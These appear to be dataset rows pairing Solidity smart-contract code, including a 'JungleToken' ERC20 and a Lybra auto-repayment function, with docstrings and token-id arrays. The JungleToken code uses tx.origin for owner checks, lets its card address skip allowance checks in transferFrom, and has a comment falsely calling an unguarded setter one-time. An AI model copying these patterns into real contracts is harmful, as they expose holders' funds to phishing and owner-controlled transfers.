-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
abstract contract JungleStorage {
uint256 public startingIndexBlock;
uint256 public tokenPrice = 0.0000094 ether;
uint256 public accumulationRate = 1.36986 ether;
uint256 public startingIndex;
uint256 public emissionEnd = 86400 * 365 ;
uint256 public tokensForPublic = 5000000 ether;
uint256 public tokensForPublicAccrued=5000000 ether;
uint256 public tokensForTeams = 500000 ether;
uint256 public tokensForTeamsAfter365 =500000 ether;
uint256 public SECONDS_IN_A_DAY = 86400;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
address public cardAddress;
uint8 internal _decimals;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
mapping (uint256 => uint256) public _lastClaim;
mapping (uint256 => uint256) public emissionStart;
}
contract JungleToken is IERC20,Ownable,JungleStorage {
using SafeMath for uint256;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwnerModifier() {
address owner=owner();
require(tx.origin == owner, "JungleToken : caller is not the owner");
_;
}
event claimedAmount(uint256 claimedAmount);
/**
* @dev Permissioning not added because it is only callable once.
*/
function setNftCardAddress(address _cardAddress) onlyOwnerModifier public {
cardAddress = _cardAddress;
}
/**
* @dev When accumulated JungleTokens have last been claimed for a NFT index
*/
function lastClaim(uint256 tokenIndex) public view returns (uint256) {
require(IERC721Enumerable(cardAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
require(tokenIndex < IERC721Enumerable(cardAddress).totalSupply(), "NFT at index has not been minted yet");
uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart[tokenIndex];
return lastClaimed;
}
/**
* @dev Claim mints accumulated JungleTokens and supports multiple token indices at once.
*/
function claim(uint256[] memory tokenIndices) public onlyOwnerModifier returns (uint256) {
uint256 totalClaimQty = 0;
for (uint i = 0; i < tokenIndices.length; i++) {
// Sanity check for non-minted index
require(tokenIndices[i] < IERC721Enumerable(cardAddress).totalSupply(), "NFT at index has not been minted yet");
// Duplicate token index check
for (uint j = i + 1; j < tokenIndices.length; j++) {
require(tokenIndices[i] != tokenIndices[j], "Duplicate token index");
}
uint tokenIndex = tokenIndices[i];
require(IERC721Enumerable(cardAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
uint256 lastClaimed = lastClaim(tokenIndex);
require((block.timestamp -(emissionStart[tokenIndex]))>=SECONDS_IN_A_DAY,"Apply after one day to get accumulation amount for this/some token(s)!");
require(IERC721Enumerable(cardAddress).ownerOf(tokenIndex) == tx.origin, "Sender is not the owner");
uint256 accumulationPeriod = block.timestamp < emissionStart[tokenIndex].add(emissionEnd) ? block.timestamp : emissionStart[tokenIndex].add(emissionEnd); // Getting the min value of both
uint256 totalAccumulated = accumulationPeriod.sub(lastClaimed).mul(accumulationRate).div(SECONDS_IN_A_DAY);
emit claimedAmount(totalAccumulated);
if (totalAccumulated != 0) {
totalClaimQty = totalClaimQty.add(totalAccumulated);
_lastClaim[tokenIndex] = block.timestamp;
}
}
require(totalClaimQty != 0, "No accumulated Jungle tokens");
mintAccumulationAmt(tx.origin, totalClaimQty);
return totalClaimQty;
}
/*
*Mints accumulation amount when user calls claim(). to "to" address
*/
function mintAccumulationAmt(address to,uint256 totalClaimQty) private{
_mint(to, totalClaimQty);
tokensForPublicAccrued-=totalClaimQty;
}
/*
*Mints 500 tokens when user when user calls montNft for buying, Reduces supply by minted amount.
*/
function mintForPublic(address to,uint256 amount, uint256 mintIndex) external returns(bool){
require(msg.sender==cardAddress,"You are not authorized to call this function!");
_mint(to,amount);
emissionStart[mintIndex] = block.timestamp;
tokensForPublic-=amount;
return true;
}
/**
* @dev withdrawTokenForTeam sends 500000 token for team to owner address.
*/
function withdrawTokenForTeam() external onlyOwnerModifier{
require(tokensForTeams!=0,"token for teams already claimed!");
_mint(owner(),tokensForTeams);
tokensForTeams=0;
}
/**
* @dev withdrawTokenForTeamAfterYear sends 500000 jungle tokens to owner address after a year.
*/
function withdrawTokenForTeamAfterYear() external onlyOwnerModifier{
require(block.timestamp>=emissionEnd,"You can't claim tokens before 1 year completes!");
require(tokensForTeamsAfter365!=0,"token for teams already claimed!");
_mint(owner(),tokensForTeamsAfter365);
tokensForTeamsAfter365=0;
}
/*
*@dev Method for changing price of JungleToken, only callable by owner.
*/
function changePrice(uint256 newPrice) external onlyOwnerModifier {
require(newPrice> 0,"Price should be greater than zero!");
tokenPrice=newPrice;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
be displayed to a user as `5,05` (`505 / 10 * 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for display purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
// Approval check is skipped if the caller of transferFrom is the NftCard contract. For better UX.
if (msg.sender != cardAddress) {
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// ++
/**
* @dev Burns a quantity of tokens held by the caller.
*
* Emits an {Transfer} event to 0 address
*
*/
function burn(address recipient,uint256 burnQuantity) public virtual returns (bool) {
require(msg.sender==cardAddress,"You are not authorized to call this function!");
_burn(recipient, burnQuantity);
return true;
}
/** @dev Creates `mintQuantity` tokens and assigns them to `recipient`, increasing
* the total supply.
* Emits an {Transfer} event to 0 address
*/
function mint(address recipient,uint256 mintQuantity) public virtual returns (bool) {
require(msg.sender==cardAddress,"You are not authorized to call this function!");
_mint(recipient, mintQuantity);
return true;
}
// ++
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
* @dev Throws if called by any account other than the owner./
|
modifier onlyOwnerModifier() {
address owner=owner();
require(tx.origin == owner, "JungleToken : caller is not the owner");
_;
}
event claimedAmount(uint256 claimedAmount);
| 952,135 |
[
1,
21845,
309,
2566,
635,
1281,
2236,
1308,
2353,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
5541,
9829,
1435,
288,
203,
3639,
1758,
3410,
33,
8443,
5621,
203,
3639,
2583,
12,
978,
18,
10012,
422,
3410,
16,
315,
46,
318,
3213,
1345,
294,
4894,
353,
486,
326,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
565,
871,
7516,
329,
6275,
12,
11890,
5034,
7516,
329,
6275,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xEA2803368b8BABa22d841294D33ee5aF8Bafd5A6/sources/contracts/CollateralRatioGuardian.sol
|
* @dev Allows any third-party keeper to trigger automatic repayment for a user. Requirements: `user` must have enabled the automatic repayment feature. Current collateral ratio of the user must be less than or equal to userSetting.triggerCollateralRatio. `user` must have authorized this contract to spend eUSD in an amount greater than the repayment amount + fee./
|
function execute(address user) external {
RepaymentSetting memory userSetting = userRepaymentSettings[user];
require(userSetting.active == true, "The user has not enabled the automatic repayment");
uint256 userCollateralRatio = getCollateralRatio(user);
require(userCollateralRatio <= userSetting.triggerCollateralRatio, "The user's collateralRate is not below the trigger collateralRate");
uint256 targetDebt = (lybra.depositedEther(user) * getEtherPrice()) * 100 / userSetting.expectedCollateralRatio;
uint256 repayAmount = lybra.getBorrowedOf(user) - targetDebt ;
lybra.transferFrom(user, address(this), repayAmount + fee);
lybra.burn(user, repayAmount);
uint256 balance = lybra.balanceOf(address(this)) < fee ? lybra.balanceOf(address(this)):fee;
lybra.transfer(msg.sender, balance);
emit ExecuteAutoRepayment(user, msg.sender, repayAmount, balance, block.timestamp);
}
| 8,447,315 |
[
1,
19132,
1281,
12126,
17,
21214,
417,
9868,
358,
3080,
5859,
2071,
2955,
364,
279,
729,
18,
29076,
30,
1375,
1355,
68,
1297,
1240,
3696,
326,
5859,
2071,
2955,
2572,
18,
6562,
4508,
2045,
287,
7169,
434,
326,
729,
1297,
506,
5242,
2353,
578,
3959,
358,
729,
5568,
18,
10668,
13535,
2045,
287,
8541,
18,
1375,
1355,
68,
1297,
1240,
10799,
333,
6835,
358,
17571,
425,
3378,
40,
316,
392,
3844,
6802,
2353,
326,
2071,
2955,
3844,
397,
14036,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1836,
12,
2867,
729,
13,
3903,
288,
203,
3639,
868,
9261,
5568,
3778,
729,
5568,
273,
729,
426,
9261,
2628,
63,
1355,
15533,
203,
3639,
2583,
12,
1355,
5568,
18,
3535,
422,
638,
16,
315,
1986,
729,
711,
486,
3696,
326,
5859,
2071,
2955,
8863,
203,
3639,
2254,
5034,
729,
13535,
2045,
287,
8541,
273,
336,
13535,
2045,
287,
8541,
12,
1355,
1769,
203,
3639,
2583,
12,
1355,
13535,
2045,
287,
8541,
1648,
729,
5568,
18,
10668,
13535,
2045,
287,
8541,
16,
315,
1986,
729,
1807,
4508,
2045,
287,
4727,
353,
486,
5712,
326,
3080,
4508,
2045,
287,
4727,
8863,
203,
203,
3639,
2254,
5034,
1018,
758,
23602,
273,
261,
715,
15397,
18,
323,
1724,
329,
41,
1136,
12,
1355,
13,
380,
4774,
1136,
5147,
10756,
380,
2130,
342,
729,
5568,
18,
3825,
13535,
2045,
287,
8541,
31,
203,
3639,
2254,
5034,
2071,
528,
6275,
273,
18519,
15397,
18,
588,
38,
15318,
329,
951,
12,
1355,
13,
300,
1018,
758,
23602,
274,
203,
3639,
18519,
15397,
18,
13866,
1265,
12,
1355,
16,
1758,
12,
2211,
3631,
2071,
528,
6275,
397,
14036,
1769,
203,
3639,
18519,
15397,
18,
70,
321,
12,
1355,
16,
2071,
528,
6275,
1769,
203,
3639,
2254,
5034,
11013,
273,
18519,
15397,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
411,
14036,
692,
18519,
15397,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
30,
21386,
31,
203,
3639,
18519,
15397,
18,
13866,
12,
3576,
18,
15330,
16,
11013,
1769,
203,
3639,
3626,
7903,
4965,
426,
9261,
12,
1355,
16,
1234,
2
] |
pragma solidity >=0.4.22 <0.6.0;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract LibMath {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
partialAmount = numerator.mul(target).div(denominator);
}
function getFeeAmount(
uint256 numerator,
uint256 target
)
internal
pure
returns (uint256 feeAmount)
{
feeAmount = numerator.mul(target).div(1 ether); // todo: constants
}
}
contract LibOrder {
struct Order {
uint256 makerSellAmount;
uint256 makerBuyAmount;
uint256 takerSellAmount;
uint256 salt;
uint256 expiration;
address taker;
address maker;
address makerSellToken;
address makerBuyToken;
}
struct OrderInfo {
uint256 filledAmount;
bytes32 hash;
uint8 status;
}
struct OrderFill {
uint256 makerFillAmount;
uint256 takerFillAmount;
uint256 takerFeePaid;
uint256 exchangeFeeReceived;
uint256 referralFeeReceived;
uint256 makerFeeReceived;
}
enum OrderStatus {
INVALID_SIGNER,
INVALID_TAKER_AMOUNT,
INVALID_MAKER_AMOUNT,
FILLABLE,
EXPIRED,
FULLY_FILLED,
CANCELLED
}
function getHash(Order memory order)
public
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
order.maker,
order.makerSellToken,
order.makerSellAmount,
order.makerBuyToken,
order.makerBuyAmount,
order.salt,
order.expiration
)
);
}
function getPrefixedHash(Order memory order)
public
pure
returns (bytes32)
{
bytes32 orderHash = getHash(order);
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash));
}
}
contract LibSignatureValidator {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
}
contract IKyberNetworkProxy {
function getExpectedRate(address src, address dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function trade(
address src,
uint srcAmount,
address dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
) public payable returns(uint256);
}
contract LibKyberData {
struct KyberData {
uint256 expectedReceiveAmount;
uint256 rate;
uint256 value;
address givenToken;
address receivedToken;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IExchangeUpgradability {
uint8 public VERSION;
event FundsMigrated(address indexed user, address indexed newExchange);
function allowOrRestrictMigrations() external;
function migrateFunds(address[] calldata tokens) external;
function migrateEthers() private;
function migrateTokens(address[] memory tokens) private;
function importEthers(address user) external payable;
function importTokens(address tokenAddress, uint256 tokenAmount, address user) external;
}
contract LibCrowdsale {
using SafeMath for uint256;
struct Crowdsale {
uint256 startBlock;
uint256 endBlock;
uint256 hardCap;
uint256 leftAmount;
uint256 tokenRatio;
uint256 minContribution;
uint256 maxContribution;
uint256 weiRaised;
address wallet;
}
enum ContributionStatus {
CROWDSALE_NOT_OPEN,
MIN_CONTRIBUTION,
MAX_CONTRIBUTION,
HARDCAP_REACHED,
VALID
}
enum CrowdsaleStatus {
INVALID_START_BLOCK,
INVALID_END_BLOCK,
INVALID_TOKEN_RATIO,
INVALID_LEFT_AMOUNT,
VALID
}
function getCrowdsaleStatus(Crowdsale memory crowdsale)
public
view
returns (CrowdsaleStatus)
{
if(crowdsale.startBlock < block.number) {
return CrowdsaleStatus.INVALID_START_BLOCK;
}
if(crowdsale.endBlock < crowdsale.startBlock) {
return CrowdsaleStatus.INVALID_END_BLOCK;
}
if(crowdsale.tokenRatio == 0) {
return CrowdsaleStatus.INVALID_TOKEN_RATIO;
}
uint256 tokenForSale = crowdsale.hardCap.mul(crowdsale.tokenRatio);
if(tokenForSale != crowdsale.leftAmount) {
return CrowdsaleStatus.INVALID_LEFT_AMOUNT;
}
return CrowdsaleStatus.VALID;
}
function isOpened(uint256 startBlock, uint256 endBlock)
internal
view
returns (bool)
{
return (block.number >= startBlock && block.number <= endBlock);
}
function isFinished(uint256 endBlock)
internal
view
returns (bool)
{
return block.number > endBlock;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
